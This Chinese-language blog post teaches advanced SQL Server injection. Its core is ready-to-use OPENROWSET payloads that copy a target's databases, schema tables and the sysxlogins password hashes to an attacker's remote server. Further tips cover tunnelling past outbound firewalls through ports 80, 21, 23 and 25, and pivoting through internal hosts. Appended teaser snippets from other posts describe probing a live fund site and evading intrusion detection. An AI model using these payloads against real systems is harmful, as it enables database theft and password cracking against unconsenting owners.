SQL Injection高階應用

2021-03-31 08:56:58 字數 3836 閱讀 9906

灌一篇水,寫一點關於sql injection的高階應用,針對sql server的。我假設你已經非常了解sql injection的基本概念。

【目標探測】

當大多數人都意識到sql injection的威脅並進行一番修補之後,可能很難再找到下手的地方。但若想成功就必需要冷靜耐心,當然有時也需要一點點運氣;) 如果有原始碼,一定要耐心仔細地看。在乙個龐大的系統中,是很難做到萬無一失的。而只要有一處漏洞,就足夠威脅整個系統。千里之堤,潰於蟻穴。

這裡主要總結一些injection的高階用法。如何發現漏洞不是此篇主題,可參考我以前的一篇文章《發掘另類injection》 需要說明的是,injection不只存在於web頁面,應用程式也存在,絕不可以只見樹木不見森林。對任何一種技術的認識和理解要精益求精,將作用發揮的淋漓盡致。言歸正傳:

一、開啟遠端資料庫

基本語法

select * from openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

引數: (1) oledb provider name

(2) 連線字串 (oledb資料來源 或 odbc 連線字串)

(3) sql語句

其中連線字串引數可以是任何和埠用來連線,比如

select * from openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from table' )

二、複製資料庫

利用乙個injection漏洞,可以經過無數次窮舉探測來得到資料庫中的資訊。通常是手動輸入,用來探測幾位或十幾位長的字段還是可行的(比如用來破解密碼)。但還是想更簡單一點,乾脆寫個程式來自動完成這個過程。後來又發現既便用程式,帶入的字元依然很有限制,比如想得到資料庫中乙個「備份型」欄位中的全部資料,這似乎是根本不可能的。有沒有更簡潔的辦法。當然有,把整個資料庫複製下來!

前提:在本機需要裝上sql server,並且有乙個公網ip。

要複製目標主機的整個資料庫,首先要在目標主機上和自己機器上的資料庫建立連線(如何在目標主機上建立遠端連線,剛才已經講了),之後insert所有遠端表到本地表。

基本語法:

insert into openrowset('sqloledb', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2

這行語句將目標主機上table2表中的所有資料複製到遠端資料庫中的table1表中。實際運用中適當修改連線字串的ip位址和埠,指向需要的地方,比如:

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from table1') select * from table2

需要注意的是,要成功執行這條語句的前提是必需先在本地建立乙個table1,而且table1的結構必需和目標主機上table2的結構一摸一樣。為了得到table2的結構,必需從系統資料庫著手。首先需要了解一些sql server系統資料庫構造的知識。當新建使用者資料庫後,資料庫中包含一些系統表,和這個資料庫相關的資訊就包含在這個表中。表資訊,欄位名、字段型別、儲存過程等關鍵資訊均存放於sysdatabases,sysobjects,syscolumns裡面。因此可以通過複製這幾個關鍵系統表來獲得目標主機上資料庫的構造資訊。方法如下:

insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from _sysdatabases')

select * from master.dbo.sysdatabases

insert into openrowset('sqloledb', 'uid=sa;pwd=hack3r;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from _sysobjects')

select * from user_database.dbo.sysobjects

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from _syscolumns')

select * from user_database.dbo.syscolumns

之後,便可以從本地資料庫中看到目標主機的庫結構,這已經易如反掌,不多講,複製資料庫:

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from table1') select * from database..table1

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from table2') select * from database..table2

三、複製哈西表(hash)

這實際上是上述複製資料庫的乙個擴充套件應用。登入密碼的hash儲存於sysxlogins中。方法如下:

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins

得到hash之後,就可以進行暴力破解。這需要一點運氣和大量時間。

四、防火牆處理

這上述幾種方法最根本的乙個前提就是要求目標主機連線本地主機,所以這裡必需考慮防火牆的因素。

在上述所有動作之前,首先要確定一件事情:有沒有防火牆存在。

對於有防火牆限制向外連線的情況下可以嘗試改變埠,比如80,給防火牆乙個訪問網頁的假象,達到欺騙目的。

insert into openrowset('sqloledb', 'uid=sa;pwd=apachy_123;***work=dbmsso**;address=202.100.100.1,80;', 'select * from table1') select * from table1

若不成功可以繼續測試21,23,25等埠,也可以先進行firewalk防火牆規則探測,幫助判斷可用連線方式。

本地sql server則需要修改埠,或者做乙個本地埠**。

另有一種情況需要考慮,sql server和web server是否是同一臺主機。

判斷是否同一主機的方法很多,可以直接掃瞄目標主機有沒有開放1433埠。也可以讓sql反響連線本地任意埠,看本地防火牆有沒有報警,檢視**ip是否和web server的ip一致等。

若不在同一臺主機,則需進一步判斷sql主機是否有公網ip,是否可以外向連線出來,是否有防火牆規則限制(若有,進行規則探測)。

若實在不幸,這些方法都無法連線,比如防火牆規則只允許內網主機訪問sql主機。那麼可能需要進行一次**。這需要在內網尋找一台可以向外連線的主機,進行埠**。當然前提是必需先拿到這台主機的管理員許可權,這種情況複雜一點,在此不再詳細論述。

先寫至此,未完....

SQL Injection 實戰某基金

昨天看了下dvwa,並學習了下,就有了這篇文章。別幹壞事,真被抓了就悲劇了.我只測試了下是否有這個漏洞.不敢深入.隨手測試了下看看是否有注入。發現居然轉義了.既然 你轉了,那我換個方法把。使用 0 1判斷下是否有問題。0的時候是正常的頁面。1 的時候卻返回不同的頁面,證明有問題。然後繼續猜看能弄到神...

用PHP函式解決SQL injection

sql injection問題在asp上可是鬧得沸沸揚揚 當然還有不少國內外著名的php程式 遇難 至於sql injection的詳情,網上的文章太多了,在此就不作介紹。如果你 空間的php.ini檔案裡的magic quotes gpc設成了off,那麼php就不會在敏感字元前加上反斜槓 由於表...

SQL Injection規避入侵檢測技術總結

當我們對乙個執行ids系統的伺服器進行sql注射時,我們往往會遇到很大的麻煩,因為我們的注射語句被過濾了,如何規避這種檢測手段就成了一門新的技術,本文就對此規避技術提出十一條思路和方法,與大家商戳。一 運用編碼技術繞過,如urlencode編碼,ascii編碼繞過。如or 1 1即 6f 72 20...